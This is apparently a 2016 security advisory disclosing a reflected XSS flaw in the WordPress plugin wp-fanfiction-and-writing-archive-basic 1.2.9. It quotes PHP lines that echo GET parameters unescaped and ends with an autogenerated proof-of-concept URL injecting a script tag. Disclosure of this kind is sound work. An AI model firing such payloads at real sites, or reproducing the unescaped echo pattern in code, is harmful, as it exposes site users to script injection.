Advisory #: 266
Title: Reflected XSS in wordpress plugin wp-fanfiction-and-writing-archive-basic v1.2.9
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-fanfiction-and-writing-archive-basic
Downloads: 1708
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-fanfiction-and-writing-archive-basic
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-fanfiction-and-writing-archive-basic/includes/fe-super-fiction-class.php: 2056: <label for="doitnow" class="fe-class-bold">Confirm:</label>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" size="10" name="doitnow" id="doitnow" value="<?php echo $_GET['doitnow']; ?>" /> 2060: <label for="how_many" class="fe-class-bold">How Many:</label>&nbsp;&nbsp;&nbsp;<input type="text" value="<?php echo $_GET['how_many']; ?>" size="10" name="how_many" id="how_many" /> 2088: <label for="doitnow" class="fe-class-bold">Confirm:</label>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" size="10" name="doitnow" id="doitnow" value="<?php echo $_GET['doitnow']; ?>" /> 2092: <label for="how_many" class="fe-class-bold">How Many:</label>&nbsp;&nbsp;&nbsp;<input type="text" value="<?php echo $_GET['how_many']; ?>" size="10" name="how_many" id="how_many" /> The variable doitnow appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wp-fanfiction-and-writing-archive-basic/includes/fe-super-fiction-class.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wp-fanfiction-and-writing-archive-basic/includes/fe-super-fiction-class.php?doitnow="><script>alert(1);</script><"